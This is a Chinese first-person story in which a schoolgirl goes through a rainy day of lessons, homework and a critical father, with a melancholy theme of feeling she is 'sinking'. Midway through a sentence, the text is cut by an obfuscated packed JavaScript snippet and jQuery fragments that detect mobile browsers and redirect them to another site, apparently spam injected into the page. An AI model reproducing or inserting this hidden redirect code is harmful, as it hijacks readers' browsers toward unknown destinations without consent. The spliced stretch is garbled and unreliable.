十月八日，雨下了一整天。
雨点打在教室窗户上，流成一条条歪歪扭扭的线，把窗外的世界切割成破碎的色块。
物理老师在讲台上讲波的干涉，粉笔在黑板上画出密密麻麻的波纹，一圈套着一圈。
“当两列波相遇时，如果相位相同，振幅叠加；如果相位相反，相互抵消。”
我盯着那些波纹，想起昨晚的梦。
梦里我站在海边，海浪一波接一波涌来，我张开嘴想喊什么，但海水灌进喉咙，咸得发苦。
醒来时枕头上湿了一小片，分不清是汗水还是口水。
下课铃响了。周扬转过来：“读书笔记你交了吗？”
“交了。”
“写的什么？”
“《平凡的世界》。”我撒谎了。
其实我写的是海子。
交了，然后又后悔了。
现在那份笔记应该已经到了李老师手里，那个总说“学生要阳光”的年级主任。
下午的语文课，周老师讲了鲁迅。
她说鲁迅的文字像手术刀，剖开社会的病灶。
她说：“真正的勇气，是看见黑暗，并且说出来。”
放学时，雨还没停。
我没带伞，站在教学楼门口，准备等雨小一点再走。
空气里满是潮湿的泥土味，混合着桂花的甜腻。
栏杆上趴着一只蜗牛，正慢吞吞地往上爬，身后留下一道银亮的痕迹。
“断夏？”
我转过头，看到隔壁班的陈露向我招招手，她手里拿着一把透明的伞。
“你没带伞？一起走吧，我送你到公交站。”
“不用了，我等雨停。”
“这雨一时半会儿停不了。”她已经把伞往我这边凑了，“走吧。”
伞不大，我们挨得很近。
雨点打在塑料伞面上，噼啪作响。
陈露身上有洗衣液的味道，很淡，是薰衣草香。
她走路时马尾辫一甩一甩的，发梢扫过我的肩膀。
“你上次那篇作文，”她忽然说，“我看了。”
我心跳漏了一拍。
“我们老师在我们班也读了。”她侧过头看我，“写得真好，特别是最后一句，‘人走着走着就沉了’。”
雨声突然变得很大。
大到我觉得她可能没听清我的回答。
“谢谢。”我说，声音很干。
“我有时候也这么觉得。”她看着前方的路，雨水在脚下溅起细小的水花，“好像一直在往下沉，但别人都觉得你在往上浮。”
我们走到公交站。
站台挤满了人，伞挨着伞，雨水从伞沿滴下来，落在别人的肩膀上。
有人小声抱怨，有人踮着脚看车来的方向。
“车来了。”陈露说。
公交车像一条巨大的鱼，缓缓滑进站台。
车门打开，热气混着汗味涌出来。
“谢谢你。”我说。
“不客气。”她笑了笑，嘴角有两个很浅的梨涡，“明天见。”
车上没有空座位。
我拉着吊环，身体随着车的晃动摇晃。
我看见陈露还站在站台，透明的伞像一朵蘑菇。
车开了，她的身影越来越小，最后变成一个模糊的点。
到家时已经六点半。
雨还在下，而且比刚才更大了。
我的鞋湿透了，袜子黏在脚上，每走一步都发出咕叽咕叽的声音。
母亲在厨房，抽油烟机的声音盖过了雨声。
父亲还没回来。
我换了鞋，走进房间。
书包依旧很重，里面装着今天发的五套卷子：数学、物理、英语、化学、生物。
每一科老师都说：“这套很重要，必须今晚完成。”
书桌上的台灯亮着。
我坐下，打开数学卷子。
第一题是函数求导，第二题是三角函数，第三题是数列。
我的手很冷，握着笔不停地发抖。
客厅传来开门的声音。父亲回来了。
我听见他放下公文包的声音，换鞋的声音，然后是母亲的声音：“回来了？今天怎么这么晚？”
“开会。”父亲的声音略显疲惫，“夏夏呢？”
“在房间写作业。”
脚步声朝我的房间走来。
门被推开了，父亲站在门口。
他身上的西装被雨打湿了肩头，颜色深了一块。
“月考成绩单签字。”我把上周就给他看过的那张纸又递过去——老师要求家长每次考试后都要签字确认。
他接过去，看了一眼，从口袋里掏出笔。
笔尖在纸上划过，发出沙沙的声音。
签好了，他把纸递还给我。
“最近学习怎么样？”
“还好。”
“有没有遇到什么困难？”
“没有。”
这样的对话我们已经重复过无数次。
像背课文，一字不差。
父亲点点头，准备离开。
忽然，他的目光落在我的书桌上。
那里摊着数学卷子，还有一本摊开的习题集——他上次给我的那本《奥数精讲》。
他走过来，拿起习题集，翻了翻。
“做了多少了？”
“每天十道。”
“我看看。”
他翻到昨天的那页。
我站在他身后，看着他的背影。
他的肩膀很宽，把台灯的光挡住了一部分。
我的影子投在墙上，很小，很模糊。
“这道题，”他用手指点了点，“步骤太简略，考试这么写会扣分。”
“我……”
“还有这道，辅助线画错了。”他从笔筒里拿出红笔，在我的解题过程上画了个圈，“重做。”
红圈像一个伤口。
“其他科呢？”他问。
“物理卷子还没做，英语做了，化学……”
“先做物理。”他说，“物理是你的弱项。”
弱项。
这个词我听过太多次了。
就像我身上贴着一个标签，上面写着：数学尚可，英语良好，语文优秀，物理薄弱，化学一般，生物中等。
我想把那个标签撕下来，但它好像长进了肉里。
父亲出去了，门还是虚掩着。
我坐下，看着那个红圈。
红墨水在灯光下有点反光，像鲜血。
雨下得更大了。打在窗户上，像有人在不停地敲。
九点钟，母亲端着一碗银耳汤进来。她走路很轻，像怕踩碎什么。
“喝点热的。”她把碗放在书桌角落。
“嗯。”
“你爸爸……”她顿了顿，“他是为你好。”
又是这句话。这句话像一把钥匙，能打开所有的锁，也能锁上所有的门。
“我知道。”我还是这么说。
母亲站在我身后，没有离开。
“你小时候，”她忽然说，“最喜欢下雨天了，每次下雨，你就趴在窗户上看，说雨点是天空在哭。”
我不记得了，一点印象都没有。
“那时候你多爱笑啊。”母亲的声音很轻，像自言自语，“怎么现在……”
她没有说完，我也不想听她说完。
“我还要写
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218416|197464||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
作业。”我说。
母亲出去了，门被轻轻关上。
银耳汤在碗里慢慢变凉，表面结出一层薄薄的膜。
我拿起笔，继续写物理卷子。
题目是关于电磁感应的，一个金属棒在磁场里运动，切割磁感线，产生电流。
电流的方向用右手定则判断：伸开右手，让磁感线穿过掌心，大拇指指向运动方向，四指指向就是电流方向。
我伸出右手，手指在灯光下显得很苍白，能看见皮肤下青色的血管。
如果生活是一个磁场，我是什么？
是那根被外力推着运动的金属棒吗？
推我的手是谁的手？父亲？母亲？老师？还是别的什么？
电流产生了，然后呢？
电流会发热，会发光，会做功。
但金属棒自己得到了什么？
它只是被推着走，切割，产生，然后被继续推着走。
十点半，父亲又进来了。
他检查了物理卷子，指出三道错题。
他说：“这些题都不难，你就是粗心。”
粗心，又是一个标签。
十一点，我终于写完了所有作业。
手指因为握笔太久，已经僵硬了。
我试着伸直，关节发出轻微的咔哒声。
雨还在下，我关掉台灯，在黑暗里坐了一会儿。
眼睛慢慢适应了黑暗，能看见窗外的天空是暗红色的——城市的灯光反射在云层上，把雨夜染成一种病态的颜色。
我打开那个深蓝色的笔记本，翻到新的一页。
今天我想写陈露，写她说“好像一直在往下沉，但别人都觉得你在往上浮”。
但我最后写的是：
“雨下了一整天。”
写到这里，我停住了。
蜗牛爬过的痕迹，天亮前就会被冲走。
就像有些话，刚说出口就消失了。
笔尖悬在纸上，墨水慢慢汇聚，滴下来，晕开一个小小的黑点。
我合上笔记本，放回抽屉深处，压在那堆习题下面。
躺下时，我听见隔壁房间传来父母说话的声音。
声音很低，但在雨夜里格外清晰。
“……补习班的钱该交了……”
“……多少？”
“……五千八……”
沉默。
然后父亲说：“交吧，不能让她输在起跑线上。”
起跑线，这个词我也听过太多次了。
好像人生就是一场赛跑，从出生就开始跑，跑到死才算完。
跑道是设定好的，终点是设定好的，连怎么跑、用什么姿势跑，都有人告诉你。
可是，如果我不想跑呢？
这个念头又冒出来了。
危险，但顽固；像石缝里长出的草，拔掉一次，又长出来一次。
雨声渐渐小了，变成淅淅沥沥的，像哭累了以后抽泣的声音。
屋内一片寂静。
最后只剩下雨声。
像无数细小的针，落在地上。
像无数细小的声音，在说：沉了，沉了，沉了。
窗外的天空还是暗红色的，像一块永远不会愈合的伤疤。
明天雨会停吗？
明天要交物理错题本，要考化学方程式，要默写《滕王阁序》。
还是明天。
又一个明天。
我在雨声里睡着了，梦见自己变成了一只蜗牛，背着重重的壳，在湿漉漉的地上爬。
爬得很慢很慢。
身后留下一道银亮的痕迹，但我知道，等天亮，等太阳出来，痕迹就会消失。
就像我从未来过一样。